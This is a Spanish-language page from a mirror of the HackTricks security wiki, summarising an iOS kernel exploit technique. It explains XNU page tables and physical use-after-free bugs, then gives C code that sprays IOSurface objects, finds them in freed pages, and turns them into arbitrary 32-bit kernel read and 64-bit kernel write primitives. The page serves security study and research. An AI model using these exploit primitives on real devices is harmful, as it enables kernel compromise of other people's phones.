mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
203 lines
10 KiB
Markdown
203 lines
10 KiB
Markdown
# iOS Exploiting
|
|
|
|
## Uso físico después de liberar
|
|
|
|
Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) además de que se puede encontrar más información sobre el exploit utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
|
|
|
### Gestión de memoria en XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **núcleo** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales.
|
|
|
|
#### Niveles de Tablas de Páginas en iOS
|
|
|
|
Las tablas de páginas están organizadas jerárquicamente en tres niveles:
|
|
|
|
1. **Tabla de Páginas L1 (Nivel 1)**:
|
|
* Cada entrada aquí representa un amplio rango de memoria virtual.
|
|
* Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual.
|
|
2. **Tabla de Páginas L2 (Nivel 2)**:
|
|
* Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB).
|
|
* Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.
|
|
3. **Tabla de Páginas L3 (Nivel 3)**:
|
|
* Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**.
|
|
* Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.
|
|
|
|
#### Mapeo de Memoria Virtual a Física
|
|
|
|
* **Mapeo Directo (Mapeo por Bloque)**:
|
|
* Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo).
|
|
* **Puntero a Tabla de Páginas Hija**:
|
|
* Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2).
|
|
|
|
#### Ejemplo: Mapeo de una Dirección Virtual
|
|
|
|
Supongamos que intentas acceder a la dirección virtual **0x1000000000**:
|
|
|
|
1. **Tabla L1**:
|
|
* El núcleo verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2.
|
|
2. **Tabla L2**:
|
|
* El núcleo verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí.
|
|
3. **Tabla L3**:
|
|
* El núcleo busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real.
|
|
|
|
#### Ejemplo de Mapeo de Direcciones
|
|
|
|
Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces:
|
|
|
|
* Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**.
|
|
* Este es un **mapeo por bloque** a nivel L2.
|
|
|
|
Alternativamente, si la entrada L2 apunta a una tabla L3:
|
|
|
|
* Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3.
|
|
|
|
### Uso físico después de liberar
|
|
|
|
Un **uso físico después de liberar** (UAF) ocurre cuando:
|
|
|
|
1. Un proceso **asigna** algo de memoria como **legible y escribible**.
|
|
2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder.
|
|
3. El proceso **desasigna** (libera) la memoria.
|
|
4. Sin embargo, debido a un **error**, el núcleo **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre.
|
|
5. El núcleo puede entonces **reasignar esta memoria física "liberada"** para otros propósitos, como **datos del núcleo**.
|
|
6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física.
|
|
|
|
Esto significa que el proceso puede acceder a **páginas de memoria del núcleo**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del núcleo**.
|
|
|
|
### Estrategia de Explotación: Heap Spray
|
|
|
|
Dado que el atacante no puede controlar qué páginas específicas del núcleo se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**:
|
|
|
|
1. El atacante **crea un gran número de objetos IOSurface** en la memoria del núcleo.
|
|
2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación.
|
|
3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada.
|
|
4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del núcleo**.
|
|
|
|
Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
|
|
|
### Proceso Paso a Paso de Heap Spray
|
|
|
|
1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico").
|
|
2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos ha sido asignado en una página liberada.
|
|
3. **Leer/Escribir en la Memoria del Núcleo**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del núcleo. Esto les permite:
|
|
* Usar un campo para **leer cualquier valor de 32 bits** en la memoria del núcleo.
|
|
* Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable en el núcleo**.
|
|
|
|
Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Busca objetos **`IOSurface`** en una página física liberada:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Logrando Lectura/Escritura en el Kernel con IOSurface
|
|
|
|
Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**.
|
|
|
|
**Campos Clave en IOSurface**
|
|
|
|
El objeto IOSurface tiene dos campos cruciales:
|
|
|
|
1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**.
|
|
2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**.
|
|
|
|
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
|
|
|
|
#### Lectura de Kernel de 32 Bits
|
|
|
|
Para realizar una lectura:
|
|
|
|
1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes.
|
|
2. Usa el método `get_use_count` para leer el valor en esa dirección.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### Escritura en el Kernel de 64 Bits
|
|
|
|
Para realizar una escritura:
|
|
|
|
1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo.
|
|
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Resumen del Flujo de Explotación
|
|
|
|
1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización.
|
|
2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.
|
|
3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas.
|
|
4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface.
|
|
|
|
Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).
|